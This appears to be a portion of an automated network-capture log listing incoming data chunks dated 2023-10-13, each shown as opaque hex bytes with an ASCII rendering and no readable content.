2023-10-13 14:06:11 UTC	3036	IN	Data Raw: ca ef a7 8a 6d cc 24 e1 e4 83 21 94 fb 5a 25 21 b0 31 e4 50 85 9c 8f 30 a9 50 fd 90 e1 60 6e 3d 02 1c 94 be e9 58 18 23 64 c8 ef 2c 55 a5 6e 25 ef 58 08 5e 73 73 13 6f cc aa e5 21 b0 29 4c 01 6a c0 28 a8 c1 f1 16 a7 53 a3 e3 1d f7 d1 10 6e 88 08 94 60 39 12 dc 91 0b cf 8f c3 c0 08 9d 88 2d e7 53 38 d1 e3 57 f7 29 11 39 a7 af eb 87 0e 0a a2 45 86 c1 06 a8 14 35 fc f0 11 0f af 11 c8 95 8e df c0 27 70 99 d5 99 42 df 19 29 77 76 ae 6d 9b 9c 64 23 29 e3 21 ea 5f 32 61 45 43 c6 b6 a6 26 a7 c3 89 c9 0b 1c 6d 7c fa 01 0b e3 26 30 d5 99 fe 4e ba 01 fd ea 32 0b c3 83 b0 44 e7 81 00 ca 6a 9f 09 a9 cc 68 7e cb 58 e5 fb 18 2b a5 c0 11 c7 35 04 ca 9a db aa 9c 94 c7 80 8f fb 76 22 c3 02 ad 8e 1d 39 70 c7 0f 2d a2 b7 b6 8a da c9 19 82 c3 da 8f 9e 29 07 a0 1a 78 ab 78 b8 Data Ascii: m$!Z%!1P0P`n=X#d,Un%X^sso!)Lj(Sn`9-S8W)9E5'pB)wvmd#)!_2aEC&m\|&0N2Djh~X+5v"9p-)xx
2023-10-13 14:06:11 UTC	3052	IN	Data Raw: 30 07 6b 0b 3a ea 17 fe 3c 56 1c ae 0d 42 fd 60 d4 5b 4b b1 70 02 86 4c f7 9b 82 6b 62 ea aa 78 fd 5a 73 9f 2d 23 fa 9c 70 16 9f 0e 2a 63 13 6a f5 e3 f8 ae 80 9e a1 de 6e dd 62 ba 06 4d 02 be 54 d5 7b 8b 8b 2d b7 88 f9 15 fb 27 19 2e 41 cb 44 2b 78 ea 75 01 57 b9 41 3e fb 08 5e ea 28 a6 7c 90 26 b3 1d 7b 17 f9 a8 d4 76 87 56 cc 14 67 a8 b0 29 fe d2 70 e3 94 4d 62 0e 34 fb 03 96 bc c8 6b df f3 9d 7e 58 e5 7a f8 aa d5 f9 c1 9e 5e ba 39 cd f4 ce be 2e 7b a0 58 32 7c f4 5c ad ea 71 d1 b5 a7 5a cd 4a bb 83 2d 3f ec a5 33 d4 ea 0e ff 12 e3 f8 b7 1f 7a ab 8e 33 c0 f1 ec ec ce 78 cb 40 47 08 e2 f4 d5 da d2 78 64 00 e7 99 94 4e 1c de 8c 0a 03 c9 bb 5c 9e 22 68 71 42 1e c7 0c d1 a2 18 15 14 67 41 ec cb 09 71 b2 42 42 d2 6d 45 13 1a d1 fb fa 39 25 03 93 53 73 87 f0 Data Ascii: 0k:<VB`[KpLkbxZs-#p*cjnbMT{-'.AD+xuWA>^(\|&{vVg)pMb4k~Xz^9.{X2\|\qZJ-?3z3x@GxdN\"hqBgAqBBmE9%Ss
2023-10-13 14:06:11 UTC	3068	IN	Data Raw: 65 b3 e6 c9 d9 47 17 39 3d 2e 3c 15 20 2a 18 ac aa 4b 84 8a 00 3c d0 a9 f3 3a cf f4 83 0d 3c fc 74 3c f5 bc ab f5 39 e9 b1 8e ec 9d 48 6b ad af ca 44 cb 79 9a 3c 64 26 39 16 ef 31 29 b0 97 5f a2 41 bc e2 97 57 20 2a 26 28 c2 73 21 cf 75 fc 77 37 a1 f1 17 c1 fc 78 fb 20 c0 f0 86 e5 c4 e4 af 10 3d 82 3f e5 80 27 5a 8a d6 fa 80 b5 f4 a4 38 7d cd 91 a2 a4 fe 78 67 b8 a3 45 fa d9 bd ff fb 83 d6 e1 13 a6 80 bb 69 3d 5a 1a 56 70 f4 f8 b2 39 00 52 f4 6c 8b 16 fb 34 43 bd 91 f4 eb 5d b7 5e d0 c2 8b 3a c8 09 b5 20 f5 17 15 11 70 7e 3b f3 13 26 68 10 2d 5f a7 6a 6d 5c 84 77 6d 48 da f3 9f bf de 88 34 dd 70 a1 ae 6f d9 44 b0 3c 68 5a 85 a9 fd cb 4c a3 31 f9 e6 00 8f 7e 79 9a c8 da 93 0a bf a9 4e 07 5f 6e 8a 40 ea 92 8c 58 bd 32 5e 31 4c 24 14 4f 84 92 e3 7c 9e 3d 76 Data Ascii: eG9=.< K<:<t<9HkDy<d&91)_AW &(s!uw7x =?'Z8}xgEi=ZVp9Rl4C]^: p~;&h-_jm\wmH4poD<hZL1~yN_n@X2^1L$O\|=v
2023-10-13 14:06:11 UTC	3084	IN	Data Raw: ac 5c 70 19 1d e8 bb 39 64 76 cc b1 e2 dc 20 16 3b c9 66 0f 40 f9 29 6e 1e cc 78 a0 ea 91 e2 01 fd 5e ee ea 15 e9 60 9c 1d 35 77 9c 56 01 58 c5 ee 23 7e e7 b6 16 0d 99 74 61 82 96 1f bf 18 c8 29 a6 e5 5e 11 16 49 79 73 1c 8e db 89 a7 24 f5 c9 ef c8 dc fd 5c ed 8e 63 ce c8 39 01 d0 c7 9f 49 f6 79 2c 81 5a 77 25 61 8c 9e c4 48 9c fd bf 9d de be 17 32 9e c8 3a 5b f2 95 03 1b f2 28 07 71 cc 9a 98 5d 50 fe a0 b6 c3 d8 fb 1c a3 a4 80 82 8f 39 61 0e 3d e0 d1 91 74 05 e3 56 f8 75 8a 79 45 b2 6c 43 47 21 14 87 66 87 4e aa d5 ce b8 64 95 0a 5d ba 55 6a b2 80 ad 3a 25 e4 80 7e 9e 85 8b 12 b0 56 4b 45 18 4f 47 25 ea 50 1f 47 36 28 ef 83 3e 20 5e e5 65 3a dc 87 a2 4c 17 28 49 11 9c 0c b8 b4 bc 91 14 ec 7f b1 3e ca cc 36 97 6b 3c 28 a3 dd 42 20 5f bb 09 33 96 d6 7c ad Data Ascii: \p9dv ;f@)nx^`5wVX#~ta)^Iys$\c9Iy,Zw%aH2:[(q]P9a=tVuyElCG!fNd]Uj:%~VKEOG%PG6(> ^e:L(I>6k<(B _3\|
2023-10-13 14:06:11 UTC	3100	IN	Data Raw: 38 b9 b6 65 2c 6d 70 b8 fd 5d 57 8e 52 b0 c2 0d ae 01 82 ce c3 4e 24 e4 a2 4f 5f e0 09 5f 33 0c 46 b2 06 3f 04 04 4d ae 47 b7 1f 05 22 70 65 28 72 2f f1 8c 91 31 5c b7 94 bf db ab b2 63 26 56 df 1d ad 90 d8 ca 8c 43 48 49 41 58 d8 0f dd 5e f4 1b d8 5c 55 00 ef 5b ea 4d 11 7a 7f 0a ff 99 ed 53 b0 9d ef 92 dc c7 c7 91 60 39 51 6c 9e 8d de 50 b7 db d3 1e 3d 69 f2 9c 4d ce 1f e4 26 97 ff 98 a9 67 04 9f b7 43 2c b6 83 4e d2 f0 17 91 02 fa 20 5b ea 98 5c 7e 98 92 db 17 21 ea 9e 62 b8 5e c9 0a 43 76 3c 26 e2 e5 7a 4b 46 ba 6b b4 4b 61 cb 10 b1 7c d2 b7 24 ad 75 52 ac b9 49 d8 54 0a 47 d7 7d 12 de c6 dc 21 74 54 7d 9c 9a c9 5d 97 a7 c6 4d d6 3f 6b f5 32 c7 fc 19 cb 30 a1 c3 4e 3a d0 06 69 90 6b 96 0b d3 5b 2d 0c 56 16 45 b1 59 24 db fb ae 37 2d 74 67 c2 a1 51 05 Data Ascii: 8e,mp]WRN$O__3F?MG"pe(r/1\c&VCHIAX^\U[MzS`9QlP=iM&gC,N [\~!b^Cv<&zKFkKa\|$uRITG}!tT}]M?k20N:ik[-VEY$7-tgQ
2023-10-13 14:06:11 UTC	3116	IN	Data Raw: 03 d3 1a a4 9a 24 f5 bb 30 4b 43 a2 ee 26 2e 4d cd 03 ed ca 72 1f b1 5a 43 26 d4 6f ea 5a 3b 5a be 1a 5f 75 36 b2 4c 7c 81 45 25 1a 15 37 73 ad 43 ae 06 22 6f ca c8 1f 01 fd 6c 4a 19 65 26 4b b8 1f 41 61 46 9d 0f 64 41 42 b1 c6 86 bc 16 62 97 34 94 d5 2c a9 21 99 e4 1f 3d 2f 31 3d ed e2 e0 17 fc bb 53 ce 9a 0f 98 09 d7 bb 77 ad 74 30 5a 3e c1 96 45 bf 5e ca cc 07 95 a4 d8 53 51 b7 6b b1 34 6b 54 d0 b8 7f 72 3c f7 4c 1b c0 64 be d2 74 b8 0f dc 66 40 66 59 25 ab 85 79 68 0d 81 c2 6b b6 c8 12 a6 81 37 10 55 ea fc f8 c6 a9 46 04 68 0f 4b 2d 2b b2 eb 3f 1a f1 54 aa 0f 8c 38 dc b0 82 72 a6 58 a4 f2 52 84 38 69 1d 4f a5 31 cc e3 56 83 3d 9d 32 40 e9 83 c8 c7 15 71 1f 31 88 0d 56 ed 2b cd 4f 1c 72 a3 4b da 6e 6c 92 c5 90 26 43 f8 d0 f2 d1 9a 5b cb 8b 0b 3e d0 04 Data Ascii: $0KC&.MrZC&oZ;Z_u6L\|E%7sC"olJe&KAaFdABb4,!=/1=Swt0Z>E^SQk4kTr<Ldtf@fY%yhk7UFhK-+?T8rXR8iO1V=2@q1V+OrKnl&C[>
2023-10-13 14:06:11 UTC	3132	IN	Data Raw: 26 34 26 8d 8a e6 3b f9 a5 ce b7 38 0e a2 f5 55 d8 85 52 0a 23 a2 2b 60 e6 98 af e1 49 51 4c cd 82 a5 b1 35 9d 1e 98 45 a7 82 d7 db e1 49 d8 a4 89 bc d5 43 69 ab ed 10 80 fd 0c 17 ba 3c 19 18 e3 0c 6d 57 8b d7 c5 a4 eb 7e ab 86 84 03 5b c8 4c 35 e4 71 87 7b fa 5c 87 99 bd 9d ef c4 f9 63 c0 e0 2a 22 d7 1c 96 45 f5 47 cc ed 14 3e 02 8a a0 85 ea 5e 32 61 ed 77 b8 db 01 ed eb cd f1 d0 c9 b1 dd 28 0a 65 48 84 da ff b9 1c fa e1 23 43 63 9a 66 38 d1 b2 02 c1 be 8b 27 bd 61 5f f5 9b f0 e4 69 56 41 43 3a 87 94 9e 10 08 52 05 de a8 87 7c 5c 77 b4 fa e4 a8 a0 ef 6a b0 07 c6 c9 96 c3 dc 9f b8 fd 1c d7 02 3d 1f 86 95 b7 c5 ff 01 8a 9f 5f 9d 57 8b e6 91 41 2c d8 fa b9 bf 58 7f 0a 9a b7 4a 36 9b 1c 43 86 d5 19 5a 15 02 e2 8b ac 00 6a 9a d6 ed 2c 2e c7 34 b1 10 d6 7c 20 Data Ascii: &4&;8UR#+`IQL5EICi<mW~[L5q{\c*"EG>^2aw(eH#Ccf8'a_iVAC:R\|\wj=_WA,XJ6CZj,.4\|
2023-10-13 14:06:11 UTC	3148	IN	Data Raw: 10 37 16 79 25 1d dc 1c d0 ba 5d c4 16 0f 1e 13 9b 07 04 2c 99 b5 9e 79 57 5e 22 a7 d0 2e f0 06 ba 39 bf 49 99 6f 0a bd c3 60 dd dd c7 b8 0d a2 92 89 17 fe 5b 2d fc 81 16 62 e9 d2 78 49 ee 97 c3 14 5b 6d 6b e0 a6 a1 aa b1 4f 7a e7 eb b3 4a 45 46 4f c1 92 f0 01 4c 7c 10 02 02 66 ed 38 18 05 41 02 e6 59 f5 39 9c c1 74 a5 e3 b4 bc 15 7f bc b5 03 27 7d d9 94 c3 a4 85 80 97 d1 cb d9 2a 85 c8 53 6d 1d fc 3d 95 23 65 c4 26 6f 90 fb c1 b7 2a f0 39 10 84 0b 9c f7 77 ea e1 25 86 ed a0 f3 4e ce 17 63 75 24 41 98 f6 b0 4d fb 3c 25 ac 9e b5 df d4 9b 94 8d 8c b6 a7 06 52 e1 8f 30 fe 47 bc 16 c3 5b 91 7c 60 86 e9 a5 02 56 d9 b5 06 34 10 58 27 e4 72 53 e5 7d 6e 88 db 65 6b 31 55 66 c2 dc 51 c0 15 0b b8 7a fc 12 83 52 31 aa 44 67 4f fa fc e8 f0 94 81 66 09 05 28 de 35 02 Data Ascii: 7y%],yW^".9Io`[-bxI[mkOzJEFOL\|f8AY9t'}Sm=#e&o9w%Ncu$AM<%R0G[\|`V4X'rS}nek1UfQzR1DgOf(5
2023-10-13 14:06:11 UTC	3164	IN	Data Raw: a9 82 db 9f bb 34 89 79 97 79 5c 26 e6 5f 99 0c 6f 70 3f 50 b1 5e 9e 0a 86 42 05 40 b0 67 49 a5 70 6e 0a 30 5f 0e b9 9f b0 d9 4c d9 bb 54 21 f9 45 17 e0 82 94 1f 1a df ac c7 18 03 3f 06 d2 00 35 60 36 ea 66 21 48 3a 23 2e 49 f7 78 ce 39 91 81 32 a7 33 be 39 85 ea 39 67 5b 69 10 ee 86 ee 23 3b 44 dc 49 7d d1 d6 47 92 d6 c9 7f d8 01 e9 9e bd 9f 10 08 f9 9b 32 95 35 a8 d8 03 b4 a0 1c 47 82 ec d4 8f af a6 d5 81 82 6c eb ed 6d 90 7a d5 7b 99 96 84 c9 32 1e 41 d2 8a 33 7a 0b 61 8c 3c 9b 7b 69 cb 9e 4a b9 ec b8 ff 02 cf a0 f4 60 f6 52 15 28 f1 15 ef b3 30 29 44 74 d4 9e 24 15 da ba e6 96 37 fb af 3c 2d 08 c3 22 f2 36 40 de 71 e9 87 5c 88 fd 2e 0d 47 85 e5 b0 2c 98 0c 2d c9 03 e4 47 c9 c5 5b 1f 94 19 67 cf 72 43 69 5a 2e ab 8b f9 66 af d1 4b 4e 91 d5 ba 6d 17 1f Data Ascii: 4yy\&_op?P^B@gIpn0_LT!E?5`6f!H:#.Ix92399g[i#;DI}G25Glmz{2A3za<{iJ`R(0)Dt$7<-"6@q\.G,-G[grCiZ.fKNm
2023-10-13 14:06:11 UTC	3180	IN	Data Raw: 90 eb b5 fd 7f f8 b0 37 13 95 4a f7 ad 10 29 bc ee da 6b e7 91 83 50 bb 41 f0 4c ef 49 17 d1 12 34 42 ef a7 bd dc dc a7 b6 74 01 a0 8e 93 8b 02 05 2d 15 40 86 2f 7c 77 c5 df bf eb 0c 24 1d 08 57 1d b4 d3 12 49 35 0b 70 a6 fa f6 b2 f3 d3 83 66 4d 2c d4 5a 23 15 79 91 dc ca e4 92 3b b1 63 88 fe ed 39 4b 26 69 be 0e 74 6c b3 bc 4a e8 45 37 1e 0a 87 93 93 71 01 56 e9 70 40 83 39 cb 3e de c4 eb 3e 8e bb 9b 63 d3 c2 67 c7 5f 09 0a 0e 4a 7d cf f2 14 22 db 0d bc c4 55 59 77 10 17 bd 2d 42 6c 07 a7 17 13 fb 17 3b e1 ec d3 cb 9b 8b 8e 61 8a 1b f4 61 a1 fd 24 7f e2 fa d6 97 9f 2d 5f 34 07 7b ea 73 3d 5d f6 c3 e1 3d f1 9b 60 52 51 73 6f 99 f1 ab 3b 21 82 5b 24 fd 67 f9 19 0c 80 e1 16 0b c3 98 c3 a3 f2 6e f7 d7 65 f9 09 2e 41 11 17 17 5a e2 07 ef 0b 72 05 7e 9e 84 bc Data Ascii: 7J)kPALI4Bt-@/\|w$WI5pfM,Z#y;c9K&itlJE7qVp@9>>cg_J}"UYw-Bl;aa$-_4{s=]=`RQso;![$gne.AZr~
2023-10-13 14:06:11 UTC	3196	IN	Data Raw: 71 62 3b bc 29 ac b3 68 e7 b3 ff a5 c1 17 40 ea 62 d2 e7 97 39 8e 33 25 0f ac 8b f6 0f fd e8 90 4c a1 78 d6 f9 9d 85 18 c4 43 5f 44 73 10 d5 fb 7a c4 6e 1b 6b 43 65 bd e9 c9 d8 35 a2 ee 79 6d 6b a1 a9 cd 6b c6 07 97 9b 4c b9 58 de 54 c7 c3 dc 9a df 75 dc 8f d9 8a d5 16 b7 eb d3 63 bc 96 84 45 f3 62 bc 88 88 2e 2e a3 7a a1 02 68 6e 58 e8 69 d5 d8 ef 2c 70 24 65 5d e2 a5 d9 5a 13 34 a4 30 2b 6d 1b a2 e0 e5 3b e3 49 95 0e 21 c4 54 bb 45 2b 2e af 8d 62 b7 8e 6d 8f c7 01 d0 43 bd e7 c7 9d c8 0c ac 8e 07 b7 d3 58 5f a4 35 46 20 bb b7 73 ae 00 68 2c bb 41 77 45 2d ac 93 73 14 a3 6c 4b 48 e8 59 60 dd ed 44 f1 6a 16 da e8 48 52 9c de b3 87 8a ce d6 b6 52 cd a6 0c f7 3d 7b 2e 96 c2 54 67 28 d5 d7 d6 16 ba 80 04 0e 07 b2 85 a6 0c b1 41 2a 05 65 6f 44 d0 23 a2 55 29 Data Ascii: qb;)h@b93%LxC_DsznkCe5ymkkLXTucEb..zhnXi,p$e]Z40+m;I!TE+.bmCX_5F sh,AwE-slKHY`DjHRR={.Tg(A*eoD#U)
2023-10-13 14:06:11 UTC	3212	IN	Data Raw: 40 20 25 b0 97 77 6c 64 1b ae ce b8 89 71 36 ae cd 4b fe 98 6c e6 ef 1c a7 bf 6c d1 ae c2 0d 1d e4 b7 89 d7 a4 fe fb cc 64 85 2d 68 ab 14 fd dc 76 10 33 bb 8e 4b d8 02 a9 05 79 3f af 7b c7 e5 89 72 ea 8f df 30 0f e6 1c 31 64 88 da fd 8e 5a da e3 d6 01 e6 d6 90 b4 4a 39 85 c6 c2 38 cd 97 10 2e 8f 30 6c 54 1f a8 0d 4e 55 8d 56 f2 be 34 c9 03 2c 43 70 6f 3a e7 c1 a1 e1 c2 b8 87 fe a4 37 21 76 cf 19 8e 4a 07 ca d3 db 45 5d b5 53 ce 88 e4 77 b4 17 ae 88 dc 30 8d 6c 3b 55 9c 70 71 2f bd fd f5 78 f4 d3 bc 8c d2 92 01 56 10 b5 1c e8 fd 87 fa f9 34 14 a3 46 f2 da f4 a3 b6 50 69 48 51 9d 81 34 4e 11 d4 3c e3 2a 6c eb c7 b0 8a 3f 69 11 7c 05 c2 17 16 e4 55 e6 c8 58 28 50 62 97 76 b8 7f d4 ec 86 39 53 b6 58 c6 8c 79 82 30 1d 29 a0 24 56 7a f8 d4 e7 0a 39 ca 97 8e ff Data Ascii: @ %wldq6Klld-hv3Ky?{r01dZJ98.0lTNUV4,Cpo:7!vJE]Sw0l;Upq/xV4FPiHQ4N<*l?i\|UX(Pbv9SXy0)$Vz9
2023-10-13 14:06:11 UTC	3228	IN	Data Raw: bb 63 7d 76 88 20 54 b7 29 31 dd 32 ba 40 6c f5 cc e0 bb 3f ed 76 d7 91 4d a7 37 ff 7e e9 8f 17 7d d2 c7 50 82 80 e5 aa f8 fd 33 1d 05 02 af fa 07 d5 52 17 fc 69 5c 4a fb 7c 11 a1 28 da 3a 54 df 97 f0 80 db e5 dd 00 7b 55 38 b2 d6 0e f8 96 48 f9 e7 74 34 c2 fd 42 25 fb 99 92 ec c5 02 c3 7e 78 d2 06 69 65 fe 50 3f e8 03 c0 12 86 29 1f 08 8a ae 33 5b 53 92 f4 d6 a2 88 df c0 44 03 8f 84 e5 30 8e a6 57 5c 40 bd 1b 6a 69 1c 91 43 fb b5 9f f9 6c 49 09 9b 44 8a 2c 33 ab bf 7d fb ab e9 6a a1 0e 42 9c ad d2 a9 be 1a c7 ba 2b 6d 6d 06 00 7e bd 02 18 e2 3e 66 8b 07 6b 9f c0 ee 68 33 2d 08 dd 4f bb 49 d4 c7 ac f7 be ad 4e 01 a8 87 41 28 b2 ec eb b6 5a 51 e9 41 cb d5 88 59 bb d9 73 12 d1 92 2a 4f 9b 2d fb c0 47 3e 57 e1 d5 84 50 6a 8a dd 98 3a 1b b3 a4 41 e1 91 45 03 Data Ascii: c}v T)12@l?vM7~}P3Ri\J\|(:T{U8Ht4B%~xieP?)3[SD0W\@jiClID,3}jB+mm~>fkh3-OINA(ZQAYs*O-G>WPj:AE
2023-10-13 14:06:11 UTC	3244	IN	Data Raw: 9f 98 38 e7 84 63 fe 2a 28 b2 0f ae 2e b4 e2 2a 28 b8 6c 7f b9 c9 17 e9 c3 f5 1e 2f 23 ea 21 3d 02 06 16 67 a5 ed 81 c3 0f 4d 7a bf 3d 8b 28 12 3e 80 2e e5 c7 0d 7e 4d c0 5d fe 56 4b fd 6f 06 8d e6 a3 0f 0c 9c cc e8 f4 f0 6c e8 2e 40 cc 2a 19 43 9b 66 45 76 82 4b 37 81 71 63 f5 e1 e2 63 37 ac f5 98 ba df 2a 1e 4f a3 e5 dd 5a 24 70 c1 28 aa e2 69 cd 6e 98 c2 71 52 9a 08 80 32 ce 1b 91 cb 1c 0f b4 09 f4 ce ef 6e 99 5c 1f 25 aa 8b f7 02 46 89 d7 a6 27 c6 75 94 5c 6f 2d e6 99 76 82 14 7f ff 1e 38 35 6f 05 e8 e8 80 56 78 f7 23 e9 7d 0a e2 70 77 20 72 3a b3 01 19 34 01 89 3d c2 ab c5 5d e2 56 57 fe 5c a6 d9 b7 c9 07 f5 60 c1 24 fc a7 d2 14 04 5f ee 86 fb f5 66 ee 5e c5 22 c1 c7 85 6a d8 6f 17 e2 68 e4 24 a6 67 e0 38 e1 33 bc 0e 4c ce 01 72 04 a9 65 b1 b5 67 65 Data Ascii: 8c(.(l/#!=gMz=(>.~M]VKol.@CfEvK7qcc7OZ$p(inqR2n\%F'u\o-v85oVx#}pw r:4=]VW\`$_f^"joh$g83Lrege
2023-10-13 14:06:11 UTC	3260	IN	Data Raw: 23 20 12 1e cc 58 eb ad 1e fd 66 a7 44 c0 0f e4 31 de b2 d6 88 a6 24 47 7a 49 74 e8 46 35 8e 16 60 a9 72 05 90 09 bb a3 6b 69 20 4e 5a 03 02 b6 2c 2a 58 86 08 e8 fe 44 6c 92 27 41 5d cf cc e8 68 c1 61 fa d9 a8 f7 8c b9 5f c5 7f 76 9b 6e 91 3c 7d 20 cf dd 50 82 14 08 94 16 26 42 46 d4 b2 1d 51 18 18 9b b1 be 1f b1 8a 2e 4e 1a dd a1 c0 a3 97 20 0c 68 c0 a5 48 4f be 47 a0 a0 53 4f 5d 9c 5f 5a 1e 3a dd 80 e8 15 cb 4f 5e f3 69 21 e2 51 ef 39 24 3a 2a 26 b1 67 77 f0 ae 61 81 84 53 e6 d8 59 5d fb 4e d5 27 01 f5 f6 34 6d f1 fc 5c db ba 9c f9 16 8b fe 54 0b 5d ef 35 5d 0b e8 54 af 3a eb dc c8 6c fb 84 94 16 6d d6 fc 3b 96 99 db 0e 71 4c a6 ab 12 c0 f5 85 13 7c 9b a2 ab ed 42 37 fa fb f7 54 b0 4a be 66 74 ac aa b3 58 8d 71 ae 0d 3b aa 33 e6 7a ff 75 8e 76 75 b2 ca Data Ascii: # XfD1$GzItF5`rki NZ,XDl'A]ha_vn<} P&BFQ.N hHOGSO]_Z:O^i!Q9$:&gwaSY]N'4m\T]5]T:lm;qL\|B7TJftXq;3zuvu
2023-10-13 14:06:11 UTC	3276	IN	Data Raw: cb 66 17 e8 5e e0 cc 1b dd 3d 88 e4 f0 d0 3e 21 eb 10 90 e1 c0 5a a5 2c 94 14 6e 43 0d 37 09 59 26 81 5f 5a 9c e1 78 72 31 bc 14 66 22 76 de 2f c9 ec 18 4c 7d 81 77 84 01 02 0d 52 46 e6 74 77 11 09 e0 da 97 81 85 ff bd 75 1e 0c c2 87 37 dc 83 b8 fa 7b 6e ed 10 72 f2 13 d8 ff 58 d0 93 d4 3e a1 32 10 cd 36 c7 19 4e 6c dc 3a 4a 8c 3c 7f b5 9f 08 5c a7 00 85 25 95 d1 04 43 40 71 bc b0 0c 5e a5 2a 06 88 f7 d9 13 00 d3 7c e1 e5 f7 ae 14 72 88 68 9b 30 5e 05 14 2b 72 f9 9f 5a 6b 71 28 41 f5 34 4d 6e 4f 3e b7 bf 33 8f e3 2e c9 4a 40 69 64 1d 91 b7 37 08 9f a9 aa d1 e8 d8 cd ea b0 4b 53 ce 1c d6 88 0d a5 99 c3 fa 63 29 88 56 69 85 7e 1e 36 09 87 31 d9 32 5f 84 bf a9 3f b3 d2 10 78 90 ff 29 33 7a 4b 97 a2 44 78 46 9d 99 fd 24 cc 75 34 35 ef 86 ef 45 b5 46 c3 43 af Data Ascii: f^=>!Z,nC7Y&_Zxr1f"v/L}wRFtwu7{nrX>26Nl:J<\%C@q^*\|rh0^+rZkq(A4MnO>3.J@id7KSc)Vi~612_?x)3zKDxF$u45EFC
2023-10-13 14:06:11 UTC	3292	IN	Data Raw: 21 ef 97 57 2e f5 47 f6 1a 54 bc 61 8e 63 30 40 6c 08 f5 e4 c7 fc b8 c1 37 1d 8c 82 75 33 e0 2d 8c 9e 1b d3 c8 09 7c c2 6e 09 c7 81 80 8d 26 61 06 72 d5 26 e3 17 2d 95 f5 b1 83 0c 43 b5 29 5d 39 2e 0d a3 4d 1d bf 82 41 c0 8c 09 63 d8 6d 57 d2 9f 44 dc 19 2f 61 67 39 87 8b c0 41 42 f3 82 34 8b 87 77 6b 67 dd 31 94 b7 0a d5 ca b3 83 c1 72 90 9d e3 ec 68 10 d1 04 63 51 10 2e 91 3e ea b8 13 14 cf ce fb 21 ff 48 10 a8 ab bf f2 b6 e0 a7 8d ce c3 ca 4e d4 24 5a c4 e2 5c e8 58 c5 7b ef 9c 83 c4 f9 23 d7 9b 0e 3a b6 57 98 13 9c 6d df e4 cd 75 44 48 d9 33 f5 d4 e3 15 10 5b a9 15 dc a1 61 59 f1 5a 0e 85 63 33 46 37 cb 1a 84 4d c5 37 02 bc cf 2e ad 75 65 05 28 25 c0 77 2b 0d 4b 63 bb 3e ce 2d 96 33 f1 e6 56 52 1a a1 91 87 5c 12 e1 ee 02 31 74 dc b5 d3 ef 4e 54 e9 c6 Data Ascii: !W.GTac0@l7u3-\|n&ar&-C)]9.MAcmWD/ag9AB4wkg1rhcQ.>!HN$Z\X{#:WmuDH3[aYZc3F7M7.ue(%w+Kc>-3VR\1tNT
2023-10-13 14:06:11 UTC	3308	IN	Data Raw: bc 06 fa fb 58 31 fc b8 8d 95 bb 48 d0 26 97 df 5d ea cf db e0 eb 4d a6 31 24 33 96 4d df 6f df 60 07 21 e2 ea 5c 4e fe e3 4d 39 15 84 88 28 2a 0d e3 23 41 9d c0 c2 4c 2a 93 1f 96 9c df 6e 02 98 13 74 0f 05 84 fa da 7b da 82 14 5e e8 8c 1a 5a 3b 84 d6 1b 38 97 be 2a ce 99 54 06 a4 f2 7b 0e c7 e7 2c 51 6a 1a d8 84 39 0f 80 ff 99 df 66 22 ee 25 6e a2 db cb 0a 1e ac 8e 0e 34 51 9f ad 39 43 17 66 19 29 af a3 29 f2 7e 0c db a0 b0 e3 e6 ca 58 93 a0 85 2a a5 a6 07 ce 27 87 68 98 7f cc fe c5 2a e3 f6 13 13 3a c2 1f 06 6d 00 9c 1b 3c 5b d0 7c 05 03 90 b6 b2 cf 79 65 88 27 92 c9 f0 b1 ba cb 7d d4 bd 0b 64 a9 db 99 f5 d6 5c 57 48 c9 88 94 75 ef b0 8d 3d d1 ca b8 15 b7 8f e8 ba 46 95 57 86 1d 0e 10 70 bb 09 f8 d2 6a 77 eb ee 56 17 76 9a 64 f8 d0 c0 fd fa 76 bd 54 00 Data Ascii: X1H&]M1$3Mo`!\NM9(#ALnt{^Z;8T{,Qj9f"%n4Q9Cf))~X'h*:m<[\|ye'}d\WHu=FWpjwVvdvT
2023-10-13 14:06:11 UTC	3324	IN	Data Raw: 3d 23 f8 70 b6 51 f6 f1 99 f3 fe 33 a1 5d 74 38 66 a9 e0 52 48 40 30 35 82 e9 70 bb c1 02 a7 34 05 78 f4 2b 9c ab a2 b5 e4 23 c5 e0 a9 a8 fc 5e a7 b3 69 eb 4d d8 76 e9 7e 44 ff 8f 44 95 c4 64 95 aa 04 93 ca 6c 9f c6 63 d7 51 57 72 5f 6d 17 d8 06 aa 18 ea 84 8d 86 2e f0 6f ff 22 8e a7 9b 07 17 53 a8 dd e7 cf 91 d4 fc 49 75 e6 34 68 63 79 31 83 b4 85 79 a3 d7 e3 ea 48 7b 9a 24 95 2f af ee 66 bd 4e b7 d5 f3 3f df 2c 23 c3 19 98 e8 7e 75 40 fe ef 20 7a 51 64 7d 12 5b 67 40 cc 67 23 f8 94 99 ff ff 59 c5 89 c0 41 56 ff 31 e6 fb 87 5a 8d 7c b6 4e a8 89 ab ef ba 22 be a1 5f 95 d6 6f a8 92 f2 81 d0 24 83 69 b3 8c 7f c1 3f 06 6e af 79 62 4a 44 fc 08 2d 50 5a c4 5a e4 9d 08 2f d6 92 66 e3 31 4e 46 a1 5a 31 8f ba b4 dc ec 00 46 6f e3 fc 9d 2b f4 93 97 a2 9f 58 32 5d Data Ascii: =#pQ3]t8fRH@05p4x+#^iMv~DDdlcQWr_m.o"SIu4hcy1yH{$/fN?,#~u@ zQd}[g@g#YAV1Z\|N"_o$i?nybJD-PZZ/f1NFZ1Fo+X2]
2023-10-13 14:06:11 UTC	3340	IN	Data Raw: 03 74 9a 03 91 af aa fa a5 05 42 58 68 eb c4 ef ce f5 08 31 6a 19 9f d7 09 36 c1 25 f1 2e 3f c6 d6 95 bf 3e f6 48 e5 d9 ea db df 12 f2 20 c6 ad 1a 41 d9 17 b7 f6 8b 23 72 e0 4a 5a 95 b8 53 50 68 fc a8 09 5a f6 e2 a5 61 be c1 fd 25 a9 c7 56 66 b3 bb 52 1f 8c 20 97 b3 3d 63 f9 1c 83 b6 6c 6b 4f 01 29 35 ce cc 6c 57 df d1 5d 8c ad f0 3e 5a 10 87 63 db a8 e9 1c 83 86 2a 5c b7 3a a8 e2 eb 59 04 91 92 4f 2e c3 75 33 2b 24 ee 95 5f 3c 8d 00 3d 65 82 0d cb dd 13 5f 8b a7 9b 73 d4 55 d1 92 c3 44 d4 87 a6 7f 92 c2 8f 2d df 7b f8 7c 4a ec 61 93 ab ca 7b fb 1e ee da 51 39 78 bd c7 97 19 f1 97 3f f0 c0 5a cf 80 24 1e 7b 15 2d db 08 f7 7e d5 34 3b 7c 68 55 0b 3a 6a da 02 63 bd ed 23 95 d9 8f b0 10 04 20 ce 09 01 f3 ec f1 69 04 05 6c 14 e1 12 0f 4c 55 2e 4c 6b 6a 12 1d Data Ascii: tBXh1j6%.?>H 